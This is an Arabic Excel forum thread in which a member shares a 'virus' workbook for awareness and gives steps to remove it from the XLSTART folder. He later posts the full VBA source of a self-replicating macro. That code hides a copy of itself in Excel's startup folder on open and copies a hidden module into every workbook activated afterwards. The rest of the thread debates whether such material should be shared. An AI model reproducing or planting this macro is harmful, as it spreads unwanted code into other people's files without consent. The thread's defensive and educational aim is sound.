(كود منقول) Excel Virus خطر الماكروهات الضارة و الاحتراز منها

[محمد يحياوي]

1 - اُشهِد الله انني ما اردت في هذا الموضوع الا ان اثبت بعض مهارات الاكسل و امكاناته و خباياه

2 - اتبرأ امام الله ثم امامكم من اي استعمال سيئ لهذا الملف بهدف الاضرار بالاخرين

3 - الملف هو عبارة عن فيروس ملف اكسل حتى يعرف الاخوان مدى خطورة الماكروهات الضارة و الاحتراز منها

4 - عند فتح ملف جديد فانه يفتح ملف XXX.XLM و هو ملف اكسل وفيه رسالة خطأ

5 - عند فتح اي ملف اكسل فان الملف السابق يفتح معه و يبعث رسالة خطأ و يسبب ارباكا كبيرا

6 - يمكنك تجربة الملف لكن عندما تيأس و تصاب بالاحباط و تريد استعادة النظام او تبديل نسخة الاوفيس حاول حل المشكلة بالطريقة الاتية:

من ادارة المهام (Ctrl + Shift+ Esc) او(Ctrl + Alt + Suppr) ...العمليات حدد Excel.exe ايقاف العملية ثم :

- في WIN7 اتبع المسارC:\Users\Administrator\AppData\Roaming\Microsoft\Excel\XLSTART

- في XP اتبع المسار C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTAR

احذف الملف XXX.XLM ينتهي المشكل ان شاء الله

Excel Virus.rar

[يوسف عطا]

ربنا يكفينا شر الفايروسات

أنا نزلت الملف لمجرد تجربة مدى كفاءة الأنتى فايرس عندى وبالفعل إكتشف الأنتى فايرس وجود عدد 2 فايرس فى الملف المغوط ولم يستطع تنظيف الملف فقمت بحذفه نهائياً من على الجهاز قبل أن أفتحه

السؤال المهم هل يسبب هذا الفايروس إنتشاراً وإصابة لملفات أخرى سواء أوفيس أو غيرها ؟؟ أم فقط يظل فى الملف الأصلى والمسار المشار إليه فى المشاركة الأولى ؟؟

[دغيدى]

أخى الفاضل / يحياوى

سلام الله عليكم

برجاء حذف الملف وترك المشاركة ..الله يخلييك حتى لا ينتشر بين ثنايا الملفات

[basem said]

استاذ يحياوى مقدرين توضيحك للموضوع

لكن اقيد كلام استاذ دغيدى بحذف الملف حتى لا يضر ملفات احد ويصل الينا جميعا

[الحسامي]

السلام عليكم

مع الاعتذار الشديد من الاخ الحبيب يحياوي

وكما ذكر الحبيب الغالي جمال دغيدي من تداخل الملفات او اي استخدام خاطئ لهذا الملف

ومما قد يسببه من تلف الملفات في حال ارفاقه في مشاركات للاخوة عن طريق الخطأ

فقد تم حذف الملف

مع الاعتذار الشديد مرة اخرى من اخي الحبيب يحياوي

[محمد طاهر عرفه]

السلام عليكم

أولا أشكرك أخي يحياوي على جهودك المميزة

و أقترح اضافة الكود كتابة مع التعليق

دون ارفاق ملف منعا للعبث السهل بالملف و استخدامه استخدام غير مسئول

و من ناحية أخرى اعتقد ان الملف قد يحوي فائدة يمكننا محاولة تدارك الاستفادة منها دون تقديم اداة سهلة لمن قد يسيء استخدامها

و ارجو من الأخوة ابداء الرأي صراحة فى هذا الاقتراح

[هشام شلبى]

السلام عليكم

========

عن نفسى لم اقم بتنزيل الملف خوفا من حدوث اى تلفيات ولكن الموضوع فى حد ذاته قيم فى "حالات الحرب"

شكرا اخى يحياوى على الموضوع

انا مع حذف الملف ولكن عدم حذفا لمشاركة مع الاخذ فى الاعتبار ان الموضوع يحتوى على اراء متفاوتة بين المؤيد والمعارض

لنجعل الموضوع ذكرى ربما نحتاجه فيما بعد كما ذكر اخى محمد طاهر

وايضا لست مع ادراج الكود دون ملف سنصل لفس النتيجة ربما احد الاخوة يضع الكود داخل ملف من باب جب الاستطلاع ويصيبنا من الحل جانب

خاصة وقد لمح الاخ عادل حنفى اكثر من مرة بوجود اسماء غريبة تدخل المنتدى ونكتشف فيما بعد انها من المتطفليين الحاقديين المتلفين

[محمد يحياوي]

الاخوة الافاضل اقدر شعوركم و حرصكم الشديد و كما قلت سابقا الموضوع الغرض منه تعليمي ... بالنسبة للملف ليس به اي فيروسات و الاخ يوسف عطا مكافح الفيروسات لديه حساس جدا ربما من التسمية فقط اما تاثيره فليس له تاثير الا على ملفات الاكسل و كما ادرجت الطريقة للتخلص من المشكلة و هي ليست بالصعبة و انا شخصيا الملف عندي في الجهاز و انا الذي قمت بتسميته ومكافح الفيروسات عندي قوي جدا (ESET smart security 5) على العموم هذا الكود لمن اراد التجربة

Sub Auto_Open()

If cek_global() Then 'check on global! (Optional to use)

GoTo FuckSheet: 'found?

Else

infectglobal 'Goto to Infecting Routine

End If

FuckSheet:

Application.OnSheetActivate = "XXX.XLM!Fuck" 'XXX.XLM is Template

'for Ur Virus

'Fuck is the MacroName

'for infecting

bye:

End Sub



Function cek_global() As Boolean 'Yes/No (Flase/True)

cek_global = False 'Set False First

For x = 1 To Application.Workbooks.Count

If Application.Workbooks(x).Name = "XXX.XLM" Then

For y = 1 To Application.Workbooks("XXX.XLM").Modules.Count

If Application.Workbooks("XXX.XLM").Modules(y).Name = "YYYYY" Then

cek_global = True

'YYYYY is the module Name for Ur Code

End If

Next y

End If

Next x

End Function



Function infectglobal()

Activebook = ActiveWorkbook.Name 'Get Active Workbook/WorkSheet

Workbooks(activebook).SaveCopyAs Application.StartupPath + "\XXX.XLM"

'Make New Template (XXX.XLM) on Excel StarUp Directori (XLSTART)

Workbooks.Open (Application.StartupPath + "\XXX.XLM")

Windows("XXX.XLM").Visible = False 'Hide Dont let User See our move

Application.Workbooks("XXX.XLM").Save 'Save it!

End Function



Sub Fuck()

oactivebook = ActiveWorkbook.Name

If inFuckIt() Then 'Check WorkSheet are they Infected??

GoTo bye2 'If Yes goto Bye2

Else 'If no ..... let`s doit!!

End If

Application.ScreenUpdating = False 'Hide from User

Application.Windows("XXX.XLM").Visible = True

Workbooks("XXX.XLM").Activate 'Activate XXX.XLM/Global/Template

Sheets("YYYYY").Visible = True 'Activate/Open the Module Name

Workbooks("XXX.XLM").Sheets("YYYYY").Copy Before:=Workbooks(oactivebook).Sheets(1)

'Copy Module from template to WorkSheet!

Workbooks(oactivebook).Sheets("YYYY").Visible = False

'Hide Sheet !! on file

Workbooks("XXX.XLM").Sheets("YYYYY").Visible = False

'Hide Sheet on Global/Template

Windows("XXX.XLM").Visible = False

'Hide GLobal/Template

bye2:

Close

End Sub



Function inFuckIt() As Boolean 'Yes/No (False/True)

activebook = ActiveWorkbook.Name 'Use Active WorkSheet

inFuckIt = False 'set false first

For y = 1 To Application.Workbooks(activebook).Modules.Count

If Application.Workbooks(activebook).Modules(y).Name = "YYYYY" Then

inFuckIt = True

End If

Next y

End Function

[دغيدى]

السلام عليكم

الحمد لله على توافق هذا الجمع الطيب من الأخلاق الحميدة ..

أشكر اخى يحياوى على الاستنارة

[saad abed]

اخوانى السلام عليكم

ارجو من كل من يدخل هتا ان يتنفس الصعداء كما يقول ويهدا ليفكر

ان ما توصل اليه استاذى وحبيبى محمد يحياوى سيتوصل غيره الى اكثر منه بوابات العلم مفتوحة وكل الخيارات وارده

فاراد صديقى يحياوى ان يبين لنا المرض وهو الفيروس وعرضه الرسائل مع اخر ملف وعلاجه هو رفع الملف ذو الامتداد xlm

,كيف نستدل على الشجاعة الا اذا كان هناك جبناء وكيف نستدل على الشر الا اذا وجد الخير

شكرا استاذى يحياوى زادك الله من العلم

على فكره انا تعرضت لفيرس يحول ملفات الاكسيل الاى ملفات ارشيفية وتم معالجة الملفات ولم تفقد البيانات

الاخوة الافاضل

كيف نصنع ملف بسيط يحذف الملفات ذات امتداد معين من مسار معين

تحياتى

سعد عابد

[الحسامي]

السلام عليكم ورحمة الله وبركاته

من خلال الآلية التي طرحها اخي الحبيب يحياوي للموضوع في وجود ملف يحوي على فايروس واحداث ارباكات في الملفات عند فتح اي ملف اخر فان وبرأي الشخصي مع حذف أي ملف يحوي اي فيروس ينتج عنه اي خلل قد يصيب احدهم عند الاستخدام الخاطئ له ولن يكون له فائدة إلا كما قال اخي هشام في حالات الحرب ... وانا بالاساس لم اقم بتنزيل الملف نهائيا لذا فعملية حذف الملف جاءت بناءاً على المعطيات التي تم طرحها في الموضوع

اما بعد مشاهدتنا للكود الذي تم طرح من قبل اخي الحبيب يحياوي فأقول .....

الملف بالاساس لا يحوي اي نوع من الفيرويسات ولا يمكن لمضادات الفايروسات ان تصداده باي حال من الاحوال وانما الملف يحوي على اكواد قد تكون شبه عادية ولكن صيغت باسلوب فيه قليل من " الخباثة البرمجية من قبل صاحب الملف الأصلي " ويعمل بناءا على خلق ملف جديد من النوع "XLM ... Ms Excel Macro " ومن ثم نسخ جميع الاكواد في الملف وابقاءه دائما في نمط الاخفاء وعند فتح اي ملف أخر يقوم باستدعاه واحداث الارتباك الذي ذكره اخي يحياوي ....... هذا باختصار مبدأ عمل الملف

لذا ليس هناك اي تخوف من تحميل الملف وكما ذكر اخي يحياوي طريقة إزالته سهلة نسبيا وانما تخوفنا فقط لانه تم ذكر كلمة "Virus "

[أيهاب ممدوح]

الاخوة الاعزاء اعضاء المنتدي الكرام

من اين نتعلم الخطر ونحن لا نعلم عنه شي فالموضوع بسيط من لديه انتي فيرس جيدا سوف يحذف شبيه الفيرس من اساسه دعونا نتعلم ولا تقيدوا الحريات رجاء شديد دعوا من يتعلم يتعلم ومن يخطاء يخطاء لانه سوف يصيب نفسه اولا وبعدها يتعلم الطريق الصحيح

الحل الصحيح هو ابن الحل الخطأ لانه جاء من خلاله

اخي يحياوي وفقك الله وجزاك الله خير علي هذا الموضوع الذي قد يصيب البعض وبسبب الجهل عنه تترتب اضرار اخطر منه بسبب الجهل به ومن امثلتها حذف الملفات الاساسيه من الجهاز بسبب هذا العيب الذي كنا نجهل به

اخواني دعونا نتعلم ما دام هذا قصد الجميع

اخوكم ايهاب

[عبدالله المجرب]

السلام عليكم

كما اوضح الاستاذ عماد بان الملف ليس فايروس وانما مبرمج بطريقة تجعلك تتعب معة

وكما بين الاستاذ يحياوي طريقة التخلص من هذا الارباك

اذن نحن أمام موضوع تعليمي وليس فيه اي اذى.

فلنستفيد من هذا الموضوع في حال وقعنا في هذا المطب لان أمان الميكر عند الاغلبية منخفض بحكم التعامل مع أكواد.

الشكر لجميع من شارك وابدى الراي وجميع الاراء محترمة

والله الموفق

[جمال الفار]

اذن نحن أمام موضوع تعليمي وليس فيه اي اذى.

كلمة قالها المايسترو /عبدالله المجرب

وهى لب الموضوع

وانا اتفق معه فى الراى فالموضوع تعليمى من الطرز الاول هذه واحدة

ام الثانية فنحن والحمدالله دائما فى عطاء دون مقابل

والمقابل الوحيد هى كلمة شكرا

فلما نضر بعضنا؟؟؟

ومدام يوجد مخرج لهذا الفيرس فلما نحجب العلم ؟؟؟

حتى لا ياتى سال ويسال عن هذه المشكلة اذا واجهته فيكون عندنا سلاح الردع لهذا

فانا ارى ان الموضوع من النوع المميز الذى يجب تثبيته

وجزيت خيرا اخى يحياوى

على طريقة عرضك للموضوع وطريقة ايضاحك

التى تدل على اخلاقك الحميده

واعرف جيدا انك عرضت الوضوع من باب استفادة الجميع

وتحذريهم من هذه المشكلة التى قد تواجههم

وفقك الله وسلمت يمينك

واخير ا

ونحن هنا اسرة واحدة نتقبل الرى والراى الاخر

[محمد يحياوي]

الاخوة الافاضل , الاساتذة الكرام اشكركم جزيل الشكر على اثراء الموضوع و كما قال الاخوة الكرام نحن نتعلم من اخطائنا

الحل الصحيح هو ابن الحل الخطأ لانه جاء من خلاله

فاشكر الاخوة الكرام مرة اخرى على جرأتهم و شجاعتهم في طرح هذه الاراء

و اعود و اكرر الملف ليس به اي فيروس و التجربة مطلوبة للاطلاع على فحوى الموضوع و علاج المشكلة سهل و بسيط خاصة ان بعض الاساتذة قاموا بتجربته

[saad abed]

اخى محمد يحياوى

ارجوا الا تكون زعلت على طرح الموضوع

فلو خاف الاطباء العدوى لهربوا من معالجة الامراض

ولو خاف المبرمجين الشجعان على اجهزتهم ما جربوا الفيرس ليكتبوا ايضا انتى فيرس

وما جعل الله داء الا وخصص وساعد من يخترع الدواء

تحياتى لبحثك في كل ما يخص الاوفيس

سعد عابد

[أيهاب ممدوح]

اخي العزيز يحياوي

اود الاستفسار عن شئ منذ فترة تقريبا سنه ونصف حدث امر غريب في ملف اكسل بعد الانتهاء من ادخال البيانات الازمه ليقوم بدورة بالاجراءات وبعد الحفظ والخروج ث اعاود الفتح لنفس الملف بعد دقيقه اجد الملف لا يوجد تنسيقات ولا يوجد اي شئ سوي الارقام فقط بنفس الترتيب ولكن المعادلات لا توجد والتنسيقات لا توجد ؟؟؟؟!!!!!!!!!!!!!

ارجوا ان تفيدني ما هذا الشئ للعلم لقد انتهي هذا الامر ولكن اود ان اعرف كيف يضرب الفيرس الاكسل

ولك جزيل الشكرا علي هذا الموضوع القيم

اخوك \ ايهاب

[محمد يحياوي]

الاخ الفاضل ايهاب على حد علمي ليس لذلك علاقة بالفيروسات ربما ذلك خطأ في الاوفيس نفسه

اما عن كيف يضرب الفيروس فعند فتح الملف يشتغل الماكرو اذا كان ممكنا و الكود السابق مثال على ذلك

لذلك اذا نزلت ملف اكسل (او اي ملف اوفيس) و كنت تشك في امره فمن الاحسن رفع الامان في الماكرو حتى لا يشتغل (الفايروس) ان جازت تسميته

[يوسف عطا]

نورتم ظلام معرفتى

كل عام وأنتم بخير

[محمد يحياوي]

الاخ الفاضل يوسف لم اكن اعلم انك تنظم الخواطر الشعرية ما شاء الله !!!

[احمد حمور-ابوعبدالله]

الاحبه الكرام

كل عام وانتم بالف بالف خير

فقد اخترت اللون الاحمر لاكتب به ردي كون الموضوع يحمل نوع من الخطوره

ويتعلق في شبيه للفيروس وليس فيروس بحد ذاته

قرأت الردود وسعدت كثيرا في اختلاف الردود من المؤيد والمعارض وكلا الردين

مسموح ومشروع بهما .

وبما ان الموضوع يقبل باختلاف الرأي فاني والله ميال الى بقاء الموضوع وبقاء الملف وعدم الحذف

واعللها بالاتي:

اخونا وحبيبنا يحياوي ذكر في بداية طرحه للملف بانه قد اشهد الله انه لا يريد ان يضر احدا.

كما انه تبرأ امام الله من ان يستخدمه شخص اخر للضرر بالاخرين.

اما عن اسبابي انا فهو ان اخونا يحياوي ذكر الخطر واعطانا الحل له

اذا لماذا الخوف من النظر الى الملف ومعرفة محتواه

فانا كلي ثقه برواد المنتدى وكما عهدونا وعهدناهم دائما بحبهم لفعل الخير

فلا اعتقد ان احد سوف يخسر هذه العلاقه الحميمه التي جمعتنا سويا .

وطالما ان الحل موجود ويمكن حذفه دون اي ضرر بأي ملف فلما لا........

الموضوع كله وبرمته راجع الى ادراة الموقع الكريمه فكلنا ثقة بما تختاره

ولها منا السمع والطاعه وقد اعطيناها العهد ، ولكن هذا كان من ابداء الرأي والرأي الاخر

تحيه الى الاحبه الكرام مره اخرى

مع تحيه خاصه اليك ايها اليحياوي العفيف

[محمد يحياوي]

الاخ الحبيب "ابو عبد الله" اشكرك جزيل الشكر على الكلام الشافي و الوافي

في ما يخص طرح مثل هذه المواضيع ينبغي عدم حضرها او تقييدها طالما هناك قيود على استعمالها و تنبيهات و ملصقات لكيفية استعمالها و كتالوكات لتوقيفها او ما شابه .... و هذا ما يوصل منتدانا الى مستوى الاحترافية بين المنتديات لاني اشك ان هناك من بين المنتديات العربية من يطرح مثل هذه المواضيع

و طالما ان هناك محترفون و خبراء (من امثالك) يزخر بهم منتدانا الغالي فلا خوف من الولوج الى مثل هذه المواضيع

[الحسامي]

السلام عليكم

اخي الحبيب محمد يحياوي

يبدو انه ما زال لديك بعض العتب علينا في ما اسميته " بتقييد المواضيع " والموضوع بالاساس سوء فهم وكان بدايته عند طرحك للموضوع عن وجود فايروس

3 - الملف هو عبارة عن فيروس ملف اكسل حتى يعرف الاخوان مدى خطورة الماكروهات الضارة و الاحتراز منها

ومن ثم جاء اول رد عليك على تفشي الفيروس في الجهاز

ربنا يكفينا شر الفايروسات

أنا نزلت الملف لمجرد تجربة مدى كفاءة الأنتى فايرس عندى وبالفعل إكتشف الأنتى فايرس وجود عدد 2 فايرس فى الملف المغوط ولم يستطع تنظيف الملف فقمت بحذفه نهائياً من على الجهاز قبل أن أفتحه

ومن ثم جاء الطلب بحذف الملفات من بعض الاخوة

برجاء حذف الملف وترك المشاركة ..الله يخلييك حتى لا ينتشر بين ثنايا الملفات

لكن اقيد كلام استاذ دغيدى بحذف الملف حتى لا يضر ملفات احد ويصل الينا جميعا

ومن ثم تم حذف الملف بناءاً على ما تقدم سابقاً وهذا الحذف كان منطقيا للمصلحة العامة ولعدم تعرض اي من الاخوة لهذا الملف بحسن نية او بسوء نية من بعضهم , اما حين تم توضيح الامر وتبين ان الملف يحوي على اكواد عادية وليس فايروس واوضحنا ذلك للجميع واوضحنا بعدم التخوف باستعماله طالما ان الامر لن يتعدى عن استخدام جديد وقد يكون من النوع الصعب من الماكروهات

اخي يحياوي انت لست بحاجة لشهادة من احد على اخلاقك الحميدة وعلمك الغزير وانت من الاعضاء الذين اعتز بهم شخصيا ولكن تضاربت الاراء واتفق الاحباء على ان الموضوع لن ولم يتعدى عن عدم فهم الصورة بالشكل المطلوب ..... بارك الله فيك

بامكانك ارفاق الملف مرة اخرى ان اردت

[محمد يحياوي]

الاخ الحبيب "الحسامي" نِعْم الصديق انت الذي اتشرف بصداقته ... الحقيقة هو ليس عتبا لان اللبس زال ... و انا كنت اتكلم بصفة عامة و بصيغة المضارع و المستقبل

هذه المواضيع ينبغي عدم حضرها او تقييدها طالما هناك قيود على استعمالها و تنبيهات و ملصقات لكيفية استعمالها و كتالوكات لتوقيفها او ما شابه ...

لما لاحظت من تسرع في الحكم على الموضوع رغم انني نوهت في الفقرة الاخيرة للمشكلة و كيفية حلها و ذلك لانها حدثت لي انا شخصيا عندما وجدت الكود و لم يذكر صاحبه كيفية التخلص من المشكلة و لولا اني وجدت الحل للمشكلة لما طرحت الموضوع من اصله .... لذلك اخي الحسامي لست عاتبا عليك او على الاخوة الافاضل طالما انك وضحت الامر و نبهت الى براءة الملف من الجرم !!! فلا داعي للاعتذار اخي الحبيب و نحن نتفهم سبب ذلك و هو المسؤولية و الحرص على سلامة الملفات في المنتدى

[ياسر الحافظ]

العزيز " يحياوي "

كل الشكر

جزاك الله الخير الكثير لما تفيدنا به

وفقك الله

ابو الحارث